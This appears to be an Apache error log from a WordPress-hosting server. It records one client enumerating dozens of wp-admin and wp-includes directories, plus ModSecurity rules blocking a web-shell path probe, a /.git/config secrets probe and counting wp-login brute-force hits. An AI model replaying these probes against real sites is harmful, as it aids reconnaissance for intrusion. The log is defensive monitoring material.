[Fri Nov 14 01:17:26.381357 2025] [:error] [pid 49246:tid 49267] [client 45.92.229.16:32381] [client 45.92.229.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aRYSpt-hdG_ZJBT6alPQrgAAAFE"]
[Fri Nov 14 01:17:46.413098 2025] [autoindex:error] [pid 56496:tid 56548] [client 45.92.229.16:27717] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:17:56.793847 2025] [autoindex:error] [pid 56496:tid 56551] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:00.088360 2025] [autoindex:error] [pid 56496:tid 56552] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:00.600386 2025] [autoindex:error] [pid 56496:tid 56530] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:01.287485 2025] [autoindex:error] [pid 56496:tid 56550] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:01.850477 2025] [autoindex:error] [pid 56496:tid 56544] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:02.538510 2025] [autoindex:error] [pid 56496:tid 56543] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:05.997905 2025] [autoindex:error] [pid 56496:tid 56545] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:06.520678 2025] [autoindex:error] [pid 56496:tid 56538] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:07.047353 2025] [autoindex:error] [pid 56496:tid 56539] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:07.547594 2025] [autoindex:error] [pid 56496:tid 56549] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:18:54.771063 2025] [:error] [pid 56497:tid 56558] [client 184.72.121.156:30246] [client 184.72.121.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.72.121.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRYS_nsatOTNIa5GK3tWFQAAAIM"]
[Fri Nov 14 01:19:17.092519 2025] [autoindex:error] [pid 56496:tid 56552] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:17.600674 2025] [autoindex:error] [pid 56496:tid 56534] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:18.692150 2025] [autoindex:error] [pid 56496:tid 56532] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:19.198716 2025] [autoindex:error] [pid 56496:tid 56533] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:19.991800 2025] [autoindex:error] [pid 56496:tid 56535] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:20.597639 2025] [autoindex:error] [pid 56496:tid 56542] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:21.717851 2025] [autoindex:error] [pid 56496:tid 56552] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:29.519071 2025] [autoindex:error] [pid 56496:tid 56537] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:32.001200 2025] [autoindex:error] [pid 56496:tid 56532] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:32.518121 2025] [autoindex:error] [pid 56496:tid 56541] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:33.000222 2025] [autoindex:error] [pid 56496:tid 56545] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:35.459165 2025] [autoindex:error] [pid 56496:tid 56531] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:35.987323 2025] [autoindex:error] [pid 56496:tid 56539] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:36.485903 2025] [autoindex:error] [pid 56496:tid 56537] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:36.984114 2025] [autoindex:error] [pid 56496:tid 56544] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:37.501517 2025] [autoindex:error] [pid 56496:tid 56532] [client 45.92.229.16:27717] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:19:43.712896 2025] [:error] [pid 56497:tid 56570] [client 34.168.72.57:38146] [client 34.168.72.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aRYTL3satOTNIa5GK3tWaQAAAI8"]
[Fri Nov 14 01:20:38.023075 2025] [autoindex:error] [pid 56495:tid 56515] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:04.809306 2025] [autoindex:error] [pid 56495:tid 56505] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:16.110189 2025] [autoindex:error] [pid 56495:tid 56516] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:16.610050 2025] [autoindex:error] [pid 56495:tid 56515] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:26.909928 2025] [autoindex:error] [pid 56495:tid 56518] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:27.395062 2025] [autoindex:error] [pid 56495:tid 56513] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:28.072661 2025] [autoindex:error] [pid 56495:tid 56507] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:28.783020 2025] [autoindex:error] [pid 56495:tid 56515] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:29.329770 2025] [autoindex:error] [pid 56495:tid 56520] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:29.797615 2025] [autoindex:error] [pid 56495:tid 56505] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:31.890935 2025] [autoindex:error] [pid 56495:tid 56522] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:32.509787 2025] [autoindex:error] [pid 56495:tid 56511] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:21:32.972974 2025] [autoindex:error] [pid 56495:tid 56503] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:22:16.009452 2025] [autoindex:error] [pid 56495:tid 56499] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:22:16.714084 2025] [autoindex:error] [pid 56495:tid 56518] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:22:53.693055 2025] [autoindex:error] [pid 56495:tid 56500] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/paste/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:22:58.222180 2025] [autoindex:error] [pid 56495:tid 56511] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:08.416862 2025] [autoindex:error] [pid 56495:tid 56514] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:11.794238 2025] [autoindex:error] [pid 56495:tid 56513] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:16.437227 2025] [autoindex:error] [pid 56495:tid 56520] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/directionality/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:19.294569 2025] [autoindex:error] [pid 56495:tid 56517] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:19.787824 2025] [autoindex:error] [pid 56495:tid 56518] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:22.446132 2025] [autoindex:error] [pid 56495:tid 56501] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:25.638829 2025] [autoindex:error] [pid 56495:tid 56507] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:28.316032 2025] [autoindex:error] [pid 56495:tid 56505] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:37.976925 2025] [autoindex:error] [pid 56495:tid 56511] [client 45.92.229.16:49819] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:23:53.336118 2025] [autoindex:error] [pid 49246:tid 49263] [client 45.92.229.17:52293] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/paragraph/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:24:02.704644 2025] [autoindex:error] [pid 49246:tid 49263] [client 45.92.229.17:52293] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/nux/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
